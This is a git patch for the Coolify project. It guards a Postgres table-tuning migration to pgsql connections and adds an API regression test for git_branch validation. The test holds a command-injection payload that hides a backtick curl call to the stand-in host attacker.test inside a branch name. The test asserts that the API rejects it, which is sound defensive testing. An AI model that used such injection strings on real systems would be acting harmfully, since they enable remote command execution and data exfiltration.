From 47682a3085699213bde02fbf7275b2fcf3bbf90b Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 2 Jun 2026 11:41:24 +0200 Subject: [PATCH] fix(db): skip postgres tuning outside pgsql Guard the fillfactor/autovacuum migration on non-Postgres connections. Add API regression coverage for command-substitution git_branch payloads. --- ...une_postgres_fillfactor_and_autovacuum.php | 8 ++ .../Api/ApplicationGitBranchSecurityTest.php | 89 +++++++++++++++++++ 2 files changed, 97 insertions(+) create mode 100644 tests/Feature/Api/ApplicationGitBranchSecurityTest.php diff --git a/database/migrations/2026_05_27_000001_tune_postgres_fillfactor_and_autovacuum.php b/database/migrations/2026_05_27_000001_tune_postgres_fillfactor_and_autovacuum.php index d8bb9b625..a90723633 100644 --- a/database/migrations/2026_05_27_000001_tune_postgres_fillfactor_and_autovacuum.php +++ b/database/migrations/2026_05_27_000001_tune_postgres_fillfactor_and_autovacuum.php @@ -7,6 +7,10 @@ return new class extends Migration { public function up(): void { + if (DB::connection()->getDriverName() !== 'pgsql') { + return; + } + // Fillfactor < 100 leaves free space per page so Postgres can do HOT // (Heap-Only Tuple) in-place updates instead of allocating a new tuple // elsewhere. Coolify's hot-update tables churn rows on every Sentinel @@ -40,6 +44,10 @@ return new class extends Migration public function down(): void { + if (DB::connection()->getDriverName() !== 'pgsql') { + return; + } + DB::statement('ALTER TABLE applications RESET (fillfactor, autovacuum_vacuum_scale_factor)'); DB::statement('ALTER TABLE servers RESET (fillfactor, autovacuum_vacuum_scale_factor)'); DB::statement('ALTER TABLE services RESET (fillfactor)'); diff --git a/tests/Feature/Api/ApplicationGitBranchSecurityTest.php b/tests/Feature/Api/ApplicationGitBranchSecurityTest.php new file mode 100644 index 000000000..58bd6b5c0 --- /dev/null +++ b/tests/Feature/Api/ApplicationGitBranchSecurityTest.php @@ -0,0 +1,89 @@ + InstanceSettings::firstOrCreate(['id' => 0])); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + session(['currentTeam' => $this->team]); + + $plainTextToken = Str::random(40); + $token = $this->user->tokens()->create([ + 'name' => 'git-branch-security-test-'.Str::random(6), + 'token' => hash('sha256', $plainTextToken), + 'abilities' => ['*'], + 'team_id' => $this->team->id, + ]); + $this->bearerToken = $token->getKey().'|'.$plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + + StandaloneDocker::withoutEvents(function () { + $this->destination = $this->server->standaloneDockers()->firstOrCreate( + ['network' => 'coolify'], + ['uuid' => (string) new Cuid2, 'name' => 'test-docker'] + ); + }); + + $this->project = Project::create([ + 'uuid' => (string) new Cuid2, + 'name' => 'test-project', + 'team_id' => $this->team->id, + ]); + $this->environment = $this->project->environments()->first(); + $this->application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'git_branch' => 'main', + ]); +}); + +function gitBranchApiHeaders(string $bearerToken): array +{ + return [ + 'Authorization' => 'Bearer '.$bearerToken, + 'Content-Type' => 'application/json', + ]; +} + +describe('PATCH /api/v1/applications/{uuid} git_branch security', function () { + test('rejects backtick command substitution branch payloads', function () { + $payload = 'main`curl${IFS}attacker.test/coolify-rce-`id${IFS}-u``'; + + $response = $this->withHeaders(gitBranchApiHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$this->application->uuid}", [ + 'git_branch' => $payload, + ]); + + $response->assertUnprocessable() + ->assertJsonValidationErrors('git_branch'); + + expect($this->application->refresh()->git_branch)->toBe('main'); + }); + + test('accepts safe branch names', function () { + $response = $this->withHeaders(gitBranchApiHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$this->application->uuid}", [ + 'git_branch' => 'feature/safe-branch_1.2.3', + ]); + + $response->assertOk(); + + expect($this->application->refresh()->git_branch)->toBe('feature/safe-branch_1.2.3'); + }); +});